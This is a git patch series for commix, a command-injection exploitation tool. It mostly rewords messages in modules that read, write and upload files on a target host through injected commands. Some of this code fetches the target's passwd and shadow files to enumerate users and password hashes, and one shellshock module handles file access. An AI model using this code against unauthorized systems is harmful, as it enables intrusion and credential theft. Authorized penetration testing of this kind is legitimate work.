@@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Trying to read the content of file '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -53,23 +57,24 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: + # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - print(shell) + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." + print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." + warn_msg += "to read the content of file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) + """ Write to a file on the target host. """ @@ -100,6 +105,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_write = menu.options.file_dest + info_msg = "Trying to write content of file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": dest_to_write = dest_to_write.replace("\\","/") @@ -150,8 +159,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, #if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." @@ -187,7 +195,11 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest - + + info_msg = "Trying to upload the file '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -207,11 +219,10 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 8d11592ddf..8a173abe42 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -343,17 +343,16 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ pass else: if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # print(settings.SINGLE_WHITESPACE) - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Check if defined single cmd. + if menu.options.os_cmd: + cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) + # Pseudo-Terminal shell go_back = False go_back_again = False diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index b99c178f6c..f77cadba06 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -95,8 +95,7 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: info_msg = "The hostname is " + str(shell) + "." - print(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index b8461834a3..219383511f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -36,6 +36,10 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Trying to read the content of file '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -53,23 +57,22 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: + # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." + print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." + warn_msg += "to read the content of file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -100,6 +103,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_write = menu.options.file_dest + info_msg = "Trying to write content of file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": dest_to_write = dest_to_write.replace("\\","/") @@ -141,8 +148,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, #if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." @@ -178,7 +184,11 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest - + + info_msg = "Trying to upload the file '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -196,8 +206,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index cff3eb9ab8..6cb0bfd62b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -354,16 +354,16 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ pass else: if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # print(settings.SINGLE_WHITESPACE) - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Check if defined single cmd. + if menu.options.os_cmd: + eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) # Pseudo-Terminal shell go_back = False diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index e7e863775e..683a785a2b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -546,7 +546,8 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp print(settings.SINGLE_WHITESPACE) else: err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index fd78509b5b..87fb39797c 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -35,6 +35,10 @@ """ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Trying to read the content of file '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -52,19 +56,19 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - print(shell) + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." + print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." + warn_msg += "to read the content of file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -95,6 +99,10 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt else: dest_to_write = menu.options.file_dest + info_msg = "Trying to write content of file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": dest_to_write = dest_to_write.replace("\\","/") @@ -135,8 +143,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt #if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." @@ -173,6 +180,10 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht else: dest_to_upload = menu.options.file_dest + info_msg = "Trying to upload the file '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -190,11 +201,10 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 3982c18002..b79edf8e2f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -568,19 +568,18 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r pass else: if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # print(settings.SINGLE_WHITESPACE) - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Check if defined single cmd. + if menu.options.os_cmd: + fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Delete previous shell (text) files (output) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) + try: # Pseudo-Terminal shell go_back = False diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 4be3329ba8..999d39283a 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -37,6 +37,10 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Trying to read the content of file '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -57,22 +61,20 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT - info_msg += "'" + Style.RESET_ALL + " : " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." + print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: sys.stdout.flush() warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." + warn_msg += "to read the content of file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -101,6 +103,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest + + info_msg = "Trying to write content of file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector @@ -153,8 +160,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: sys.stdout.flush() @@ -191,6 +197,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest + + info_msg = "Trying to upload the file '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) @@ -211,12 +222,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index b0da54b2af..d0b5244353 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -518,8 +518,6 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) pass else: - # if not menu.enumeration_options() and not menu.options.os_cmd: - # print(settings.SINGLE_WHITESPACE) tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. @@ -533,11 +531,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # logs.print_logs_notification(filename, url) - # raise SystemExit() - if settings.VERBOSITY_LEVEL != 0 or not new_line: + if not new_line : print(settings.SINGLE_WHITESPACE) + try: # Pseudo-Terminal shell go_back = False diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 058a575e7e..adbd108bc1 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -399,10 +399,8 @@ def file_access(url, cve, check_header, filename): # Check if defined cookie injection. shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully." - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" warn_msg += dest_to_write + "' file." + "\n" @@ -448,14 +446,11 @@ def file_access(url, cve, check_header, filename): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT - info_msg += " file was uploaded successfully.\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to write the '" + dest_to_upload + "' file.\n" + warn_msg += "to upload the '" + dest_to_upload + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True @@ -468,15 +463,14 @@ def file_access(url, cve, check_header, filename): # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) + if shell: + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." + print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/utils/settings.py b/src/utils/settings.py index 156b1792f9..6dde46d08d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "44" +REVISION = "45" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 2703c3c998ca90fb1b6857a0792d533ac4e18583 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Apr 2022 09:14:13 +0300 Subject: [PATCH 122/560] Updates / minor fixes regarding commit: https://github.com/commixproject/commix/commit/f9c1567838bcbbaa88733b0d6753b07181e0a8b6 --- .../techniques/time_based/tb_enumeration.py | 20 ++++++++-------- .../techniques/time_based/tb_file_access.py | 12 +++++----- src/core/injections/controller/checks.py | 3 ++- .../techniques/classic/cb_enumeration.py | 20 ++++++++-------- .../techniques/classic/cb_file_access.py | 12 +++++----- .../techniques/eval_based/eb_enumeration.py | 20 ++++++++-------- .../techniques/eval_based/eb_file_access.py | 12 +++++----- .../techniques/file_based/fb_enumeration.py | 20 ++++++++-------- .../techniques/file_based/fb_file_access.py | 12 +++++----- .../tempfile_based/tfb_enumeration.py | 20 ++++++++-------- .../tempfile_based/tfb_file_access.py | 12 +++++----- src/core/modules/shellshock/shellshock.py | 24 +++++++++---------- src/utils/settings.py | 2 +- 13 files changed, 95 insertions(+), 94 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 472bc2550d..5aa19f1969 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -263,7 +263,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " + info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -336,8 +336,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -430,8 +430,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() except TypeError: @@ -441,7 +441,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg += settings.PASSWD_FILE + "'." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass @@ -468,7 +468,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) @@ -513,8 +513,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() @@ -522,7 +522,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - info_msg = "Executing the '" + cmd + "' command." + info_msg = "Executing the user-supplied command '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index e0ee3381ca..2a4844396c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -35,7 +35,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Trying to read the content of file '" + info_msg = "Fetching the content of the file '" info_msg += file_to_read + "'." 